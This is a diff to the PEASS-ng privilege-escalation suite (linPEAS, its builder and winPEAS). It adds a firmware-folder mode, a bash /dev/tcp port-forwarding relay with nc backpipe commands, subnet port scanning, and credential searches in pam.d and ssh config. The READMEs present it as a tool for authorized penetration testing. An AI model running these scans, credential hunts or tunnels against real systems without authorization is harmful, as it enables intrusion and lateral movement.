if gpg-connect-agent "keyinfo --list" /bye | grep "D - - 1"; then
|
||||
if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then
|
||||
print_3title "Listing gpg keys cached in gpg-agent"
|
||||
gpg-connect-agent "keyinfo --list" /bye
|
||||
echo ""
|
||||
@@ -284,29 +294,29 @@ fi
|
||||
if [ "$hostsdenied" ]; then
|
||||
print_3title "/etc/hosts.denied file found, read the rules:"
|
||||
printf "$hostsdenied\n"
|
||||
cat "/etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN},"
|
||||
cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN},"
|
||||
echo ""
|
||||
fi
|
||||
if [ "$hostsallow" ]; then
|
||||
print_3title "/etc/hosts.allow file found, trying to read the rules:"
|
||||
printf "$hostsallow\n"
|
||||
cat "/etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED},"
|
||||
cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
if [ "$sshconfig" ]; then
|
||||
echo ""
|
||||
echo "Searching inside /etc/ssh/ssh_config for interesting info"
|
||||
grep -v "^#" /etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},"
|
||||
grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
peass{PAM Auth}
|
||||
|
||||
#-- SI) Passwords inside pam.d
|
||||
pamdpass=$(grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#")
|
||||
pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#")
|
||||
if [ "$pamdpass" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Passwords inside pam.d"
|
||||
grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED},"
|
||||
grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
@@ -558,26 +568,30 @@ peass{Cache Vi}
|
||||
peass{Wget}
|
||||
|
||||
##-- SI) containerd installed
|
||||
containerd=$(command -v ctr)
|
||||
if [ "$containerd" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Checking if containerd(ctr) is available"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation"
|
||||
if [ "$containerd" ]; then
|
||||
echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
||||
ctr image list 2>&1
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
containerd=$(command -v ctr)
|
||||
if [ "$containerd" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Checking if containerd(ctr) is available"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation"
|
||||
if [ "$containerd" ]; then
|
||||
echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
||||
ctr image list 2>&1
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- SI) runc installed
|
||||
runc=$(command -v runc)
|
||||
if [ "$runc" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Checking if runc is available"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation"
|
||||
if [ "$runc" ]; then
|
||||
echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
runc=$(command -v runc)
|
||||
if [ "$runc" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Checking if runc is available"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation"
|
||||
if [ "$runc" ]; then
|
||||
echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SI) Docker
|
||||
|
||||
@@ -279,14 +279,25 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Executable files added by user
|
||||
print_2title "Executable files added by user (limit 70)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems" | sort | tail -n 70
|
||||
else
|
||||
find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems" | sort | tail -n 70
|
||||
##-- IF) Date times inside firmware
|
||||
if [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "FIles datetimes inside the firmware (limit 50)"
|
||||
find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50
|
||||
echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"<date>\""
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Executable files added by user
|
||||
print_2title "Executable files potentially added by user (limit 70)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems" | sort -r | head -n 70
|
||||
else
|
||||
find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems" | sort -r | head -n 70
|
||||
fi
|
||||
echo ""
|
||||
|
||||
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Unsigned Applications"
|
||||
macosNotSigned /System/Applications
|
||||
@@ -454,7 +465,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
|
||||
##-- IF) Mail applications
|
||||
print_2title "Searching installed mail applications"
|
||||
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps"
|
||||
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq
|
||||
echo ""
|
||||
|
||||
##-- IF) Mails
|
||||
|
||||
@@ -65,6 +65,7 @@ DEBUG=""
|
||||
AUTO_NETWORK_SCAN=""
|
||||
EXTRA_CHECKS=""
|
||||
REGEXES=""
|
||||
PORT_FORWARD=""
|
||||
THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n")"
|
||||
[ -z "$THREADS" ] && THREADS="2" #If THREADS is empty, put number 2
|
||||
[ -n "$THREADS" ] && THREADS="2" #If THREADS is null, put number 2
|
||||
@@ -87,6 +88,9 @@ ${NC}This tool enum and search possible misconfigurations$DG (known vulns, user,
|
||||
${YELLOW} -i <IP> [-p <PORT(s)>]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
|
||||
$GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
|
||||
|
||||
${GREEN} Port forwarding:
|
||||
${YELLOW} -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT${BLUE} Execute linpeas to forward a port from a local IP to a remote IP
|
||||
|
||||
${GREEN} Firmware recon:
|
||||
${YELLOW} -f </FOLDER/PATH>${BLUE} Execute linpeas to search passwords/file permissions misconfigs inside a folder
|
||||
|
||||
@@ -98,7 +102,7 @@ ${NC}This tool enum and search possible misconfigurations$DG (known vulns, user,
|
||||
${YELLOW} -q${BLUE} Do not show banner
|
||||
${YELLOW} -N${BLUE} Do not use colours$NC"
|
||||
|
||||
while getopts "h?asd:p:i:P:qo:LMwNDterf:" opt; do
|
||||
while getopts "h?asd:p:i:P:qo:LMwNDterf:F:" opt; do
|
||||
case "$opt" in
|
||||
h|\?) printf "%s\n\n" "$HELP$NC"; exit 0;;
|
||||
a) FAST="";EXTRA_CHECKS="1";;
|
||||
@@ -117,7 +121,15 @@ while getopts "h?asd:p:i:P:qo:LMwNDterf:" opt; do
|
||||
t) AUTO_NETWORK_SCAN="1";;
|
||||
e) EXTRA_CHECKS="1";;
|
||||
r) REGEXES="1";;
|
||||
f) SEARCH_IN_FOLDER=$OPTARG; ROOT_FOLDER=$OPTARG; REGEXES="1"; CHECKS="software_information,interesting_files,api_keys_regex";;
|
||||
f) SEARCH_IN_FOLDER=$OPTARG;
|
||||
if ! [ "$(echo -n $SEARCH_IN_FOLDER | tail -c 1)" = "/" ]; then #Make sure firmware folder ends with "/"
|
||||
SEARCH_IN_FOLDER="${SEARCH_IN_FOLDER}/";
|
||||
fi;
|
||||
ROOT_FOLDER=$SEARCH_IN_FOLDER;
|
||||
REGEXES="1";
|
||||
CHECKS="procs_crons_timers_srvcs_sockets,software_information,interesting_files,api_keys_regex";;
|
||||
|
||||
F) PORT_FORWARD=$OPTARG;;
|
||||
esac
|
||||
done
|
||||
|
||||
@@ -510,11 +522,11 @@ TIMEOUT="$(command -v timeout 2>/dev/null)"
|
||||
STRACE="$(command -v strace 2>/dev/null)"
|
||||
STRINGS="$(command -v strings 2>/dev/null)"
|
||||
|
||||
shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/power_report.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh"
|
||||
shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/pm-utils-bugreport-info.sh|/power_report.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh"
|
||||
|
||||
notBackup="/tdbbackup$|/db_hotbackup$"
|
||||
|
||||
cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-notifier-common|upstart|"
|
||||
cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-motd|update-notifier-common|upstart|"
|
||||
cronjobsB="centreon"
|
||||
|
||||
processesVB='jdwp|tmux |screen | inspect |--inspect[= ]|--inspect$|--inpect-brk|--remote-debugging-port'
|
||||
@@ -577,7 +589,7 @@ elif [ -f "/bin/bash" ] && ! [ -L "/bin/bash" ]; then
|
||||
FOUND_BASH="/bin/bash";
|
||||
fi
|
||||
if [ "$FOUND_BASH" ]; then
|
||||
SCAN_BAN_GOOD="$YELLOW[+] $GREEN$FOUND_BASH${BLUE} is available for network discovery & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)\n"
|
||||
SCAN_BAN_GOOD="$YELLOW[+] $GREEN$FOUND_BASH${BLUE} is available for network discovery, port scanning and port forwarding$LG ($SCRIPTNAME can discover hosts, scan ports, and forward ports. Learn more with -h)\n"
|
||||
fi
|
||||
|
||||
FOUND_NC=$(command -v nc 2>/dev/null)
|
||||
@@ -796,7 +808,7 @@ basic_net_info(){
|
||||
select_nc (){
|
||||
#Select the correct configuration of the netcat found
|
||||
NC_SCAN="$FOUND_NC -v -n -z -w 1"
|
||||
$($FOUND_NC 127.0.0.1 65321 > /dev/null 2>&1)
|
||||
$($NC_SCAN 127.0.0.1 65321 > /dev/null 2>&1)
|
||||
if [ $? -eq 2 ]
|
||||
then
|
||||
NC_SCAN="timeout 1 $FOUND_NC -v -n"
|
||||
@@ -826,8 +838,8 @@ tcp_recon (){
|
||||
for port in $PORTS; do
|
||||
for j in $(seq 1 254)
|
||||
do
|
||||
if [ "$FOUND_BASH" ] && [ "$$TIMEOUT" ]; then
|
||||
$TIMEOUT 5 $FOUND_BASH -c "(echo </dev/tcp/$IP3.$j/$port) 2>/dev/null && echo -e \"\n[+] Open port at: $IP3.$j:$port\"" &
|
||||
if [ "$FOUND_BASH" ] && [ "$TIMEOUT" ]; then
|
||||
$TIMEOUT 2.5 $FOUND_BASH -c "(echo </dev/tcp/$IP3.$j/$port) 2>/dev/null && echo -e \"\n[+] Open port at: $IP3.$j:$port\"" &
|
||||
elif [ "$NC_SCAN" ]; then
|
||||
($NC_SCAN "$IP3"."$j" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") &
|
||||
fi
|
||||
@@ -946,6 +958,24 @@ discovery_port_scan (){
|
||||
}
|
||||
|
||||
|
||||
port_forward (){
|
||||
LOCAL_IP=$1
|
||||
LOCAL_PORT=$2
|
||||
REMOTE_IP=$3
|
||||
REMOTE_PORT=$4
|
||||
|
||||
echo "In your local machine execute:"
|
||||
echo "cd /tmp; rm backpipe; mknod backpipe p;"
|
||||
echo "nc -lvnp $LOCAL_PORT 0<backpipe | nc -lvnp 9009 1>backpipe"
|
||||
echo ""
|
||||
echo "Press any key when you have executed the commands"
|
||||
read -n 1
|
||||
|
||||
bash -c "exec 3<>/dev/tcp/$REMOTE_IP/$REMOTE_PORT; exec 4<>/dev/tcp/$LOCAL_IP/9009; cat <&3 >&4 & cat <&4 >&3 &"
|
||||
echo "If not error was indicated, your local port $LOCAL_PORT should be forwarded to $REMOTE_IP:$REMOTE_PORT"
|
||||
}
|
||||
|
||||
|
||||
###########################################
|
||||
#---) Exporting history env variables (---#
|
||||
###########################################
|
||||
@@ -1031,11 +1061,45 @@ elif [ "$IP" ]; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if [ "$PORT_FORWARD" ]; then
|
||||
if ! [ "$FOUND_BASH" ]; then
|
||||
printf $RED"[-] Err: Port forwarding not possible, no bash in PATH\n"$NC;
|
||||
exit 0
|
||||
fi
|
||||
|
||||
LOCAL_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 1)"
|
||||
LOCAL_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 2)"
|
||||
REMOTE_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 3)"
|
||||
REMOTE_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 4)"
|
||||
|
||||
if ! [ "$LOCAL_IP" ] || ! [ "$LOCAL_PORT" ] || ! [ "$REMOTE_IP" ] || ! [ "$REMOTE_PORT" ]; then
|
||||
printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC;
|
||||
exit 0
|
||||
fi
|
||||
|
||||
#Check if LOCAL_PORT is a number
|
||||
if ! [ "$(echo $LOCAL_PORT | grep -E '^[0-9]+$')" ]; then
|
||||
printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC;
|
||||
fi
|
||||
|
||||
#Check if REMOTE_PORT is a number
|
||||
if ! [ "$(echo $REMOTE_PORT | grep -E '^[0-9]+$')" ]; then
|
||||
printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC;
|
||||
fi
|
||||
|
||||
port_forward "$LOCAL_IP" "$LOCAL_PORT" "$REMOTE_IP" "$REMOTE_PORT"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
|
||||
#Get HOMESEARCH
|
||||
HOMESEARCH="/home/ /Users/ /root/ $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users" | tr "\n" " ")"
|
||||
if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users"; then #If not listed and not in /home, /Users/ or /root, add current home folder
|
||||
HOMESEARCH="$HOME $HOMESEARCH"
|
||||
if [ "$SEARCH_IN_FOLDER" ]; then
|
||||
HOMESEARCH="${ROOT_FOLDER}home/ ${ROOT_FOLDER}Users/ ${ROOT_FOLDER}root/ ${ROOT_FOLDER}var/www/"
|
||||
else
|
||||
HOMESEARCH="/home/ /Users/ /root/ /var/www $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users|^/var/www" | tr "\n" " ")"
|
||||
if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users|^/var/www"; then #If not listed and not in /home, /Users/, /root, or /var/www add current home folder
|
||||
HOMESEARCH="$HOME $HOMESEARCH"
|
||||
fi
|
||||
fi
|
||||
GREPHOMESEARCH=$(echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|") #Remove ending spaces before putting "|"
|
||||
|
||||
|
||||
@@ -173,11 +173,11 @@ class LinpeasBuilder:
|
||||
|
||||
if type == "d":
|
||||
find_line += "-type d "
|
||||
bash_find_var = f"FIND_DIR_{r[1:].replace('.','').replace('-','_').upper()}"
|
||||
bash_find_var = f"FIND_DIR_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
|
||||
self.bash_find_d_vars.add(bash_find_var)
|
||||
all_folder_regexes += regexes
|
||||
else:
|
||||
bash_find_var = f"FIND_{r[1:].replace('.','').replace('-','_').upper()}"
|
||||
bash_find_var = f"FIND_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
|
||||
self.bash_find_f_vars.add(bash_find_var)
|
||||
all_file_regexes += regexes
|
||||
|
||||
@@ -275,7 +275,7 @@ class LinpeasBuilder:
|
||||
analise_line = ""
|
||||
if init:
|
||||
analise_line = 'if ! [ "`echo \\\"$PSTORAGE_'+precord.bash_name+'\\\" | grep -E \\\"'+real_regex+'\\\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "'+frecord.regex+'"; fi; fi; '
|
||||
analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do if ! [ -d "$f" ]; then continue; fi; ls -ld "$f" | sed -${E} "s,'+real_regex+',${SED_RED},"; '
|
||||
analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,'+real_regex+',${SED_RED},"; '
|
||||
|
||||
#If just list, just list the file/directory
|
||||
if frecord.just_list_file:
|
||||
@@ -393,13 +393,13 @@ class LinpeasBuilder:
|
||||
|
||||
# If custom folder to search in
|
||||
regexes_search_section += 'if [ "$SEARCH_IN_FOLDER" ]; then\n'
|
||||
regexes_search_section += " timeout 120 find $SEARCH_IN_FOLDER -type f -exec grep -HnRiIE \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &\n"
|
||||
regexes_search_section += " timeout 120 find \"$ROOT_FOLDER\" -type f -not -path \"*/node_modules/*\" -exec grep -HnRiIE \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &\n"
|
||||
|
||||
# If search in all the file system
|
||||
regexes_search_section += 'else\n'
|
||||
for path in paths_to_search:
|
||||
grep_flags = "-HnRiIE" if caseinsensitive else "-HnRIE"
|
||||
regexes_search_section += " timeout 120 find "+path+" -type f -exec grep "+grep_flags+" \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &\n"
|
||||
regexes_search_section += " timeout 120 find "+path+" -type f -not -path \"*/node_modules/*\" -exec grep "+grep_flags+" \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &\n"
|
||||
regexes_search_section += 'fi\n'
|
||||
|
||||
regexes_search_section += "wait\n"
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML.
|
||||
|
||||
```python3
|
||||
python3 peass2json.py </path/to/executed_peass.out> </path/to/peass.json>
|
||||
python3 peas2json.py </path/to/executed_peass.out> </path/to/peass.json>
|
||||
python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>
|
||||
python3 json2html.py </path/to/peass.json> </path/to/peass.html>
|
||||
```
|
||||
|
||||
@@ -22,4 +22,4 @@ Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/s
|
||||
|
||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||
|
||||
By Polop<sup>(TM)</sup>
|
||||
By Polop
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||

|
||||
|
||||
**WinPEAS is a script that searh for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
|
||||
**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
|
||||
|
||||
Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)
|
||||
|
||||
|
||||
@@ -85,6 +85,7 @@ searchpf Search credentials via regex also in Program Files folders
|
||||
wait Wait for user input between checks
|
||||
debug Display debugging information - memory usage, method execution time
|
||||
log[=logfile] Log all output to file defined as logfile, or to "out.txt" if not specified
|
||||
MaxRegexFileSize=1000000 Max file size (in Bytes) to search regex in. Default: 1000000B
|
||||
|
||||
Additional checks (slower):
|
||||
-lolbas Run additional LOLBAS check
|
||||
@@ -285,4 +286,4 @@ If you find any issue, please report it using **[github issues](https://github.c
|
||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||
|
||||
|
||||
By Polop<sup>(TM)</sup>, makikvues (makikvues2[at]gmail[dot].com)
|
||||
By Polop
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
|
||||
@@ -11,8 +11,8 @@ namespace winPEAS.Tests
|
||||
{
|
||||
try
|
||||
{
|
||||
string[] args = new string[] {
|
||||
"systeminfo", "servicesinfo", "processinfo", "applicationsinfo", "browserinfo", "debug"
|
||||
string[] args = new string[] {
|
||||
"systeminfo", "servicesinfo", "processinfo", "applicationsinfo", "browserinfo", "debug"
|
||||
};
|
||||
Program.Main(args);
|
||||
}
|
||||
|
||||
@@ -3,4 +3,7 @@
|
||||
<startup useLegacyV2RuntimeActivationPolicy="true">
|
||||
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2"/></startup>
|
||||
<runtime>
|
||||
<AppContextSwitchOverrides value="Switch.System.IO.UseLegacyPathHandling=false" />
|
||||
</runtime>
|
||||
</configuration>
|
||||
|
||||
@@ -27,8 +27,8 @@ namespace winPEAS.Checks
|
||||
{
|
||||
Beaprint.MainPrint("Current Active Window Application");
|
||||
string title = ApplicationInfoHelper.GetActiveWindowTitle();
|
||||
List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, Checks.CurrentUserSiDs);
|
||||
List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, Checks.CurrentUserSiDs);
|
||||
if (permsFile.Count > 0)
|
||||
{
|
||||
Beaprint.BadPrint(" " + title);
|
||||
@@ -188,8 +188,8 @@ namespace winPEAS.Checks
|
||||
|
||||
foreach (Dictionary<string, string> sapp in scheduled_apps)
|
||||
{
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], Checks.CurrentUserSiDs);
|
||||
string formString = " ({0}) {1}: {2}";
|
||||
|
||||
if (fileRights.Count > 0)
|
||||
@@ -238,8 +238,8 @@ namespace winPEAS.Checks
|
||||
foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft())
|
||||
{
|
||||
string pathDriver = driver.Key;
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, Checks.CurrentUserSiDs);
|
||||
|
||||
Dictionary<string, string> colorsD = new Dictionary<string, string>()
|
||||
{
|
||||
|
||||
@@ -35,6 +35,9 @@ namespace winPEAS.Checks
|
||||
public static string PaintActiveUsersNoAdministrator = "";
|
||||
public static string PaintDisabledUsers = "";
|
||||
public static string PaintDisabledUsersNoAdministrator = "";
|
||||
public static bool IsLongPath = false;
|
||||
public static bool WarningIsLongPath = false;
|
||||
public static int MaxRegexFileSize = 1000000;
|
||||
//static string paint_lockoutUsers = "";
|
||||
public static string PaintAdminUsers = "";
|
||||
public static YamlConfig YamlConfig;
|
||||
@@ -159,6 +162,16 @@ namespace winPEAS.Checks
|
||||
SearchProgramFiles = true;
|
||||
}
|
||||
|
||||
if (string.Equals(arg, "max-regex-file-size", StringComparison.CurrentCultureIgnoreCase))
|
||||
{
|
||||
var parts = arg.Split('=');
|
||||
if (parts.Length >= 2 && !string.IsNullOrEmpty(parts[1]))
|
||||
{
|
||||
MaxRegexFileSize = Int32.Parse(parts[1]);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if (string.Equals(arg, "-lolbas", StringComparison.CurrentCultureIgnoreCase))
|
||||
{
|
||||
IsLolbas = true;
|
||||
@@ -206,6 +219,8 @@ namespace winPEAS.Checks
|
||||
CheckRegANSI();
|
||||
}
|
||||
|
||||
CheckLongPath();
|
||||
|
||||
Beaprint.PrintInit();
|
||||
|
||||
CheckRunner.Run(CreateDynamicLists, IsDebug);
|
||||
@@ -348,8 +363,8 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
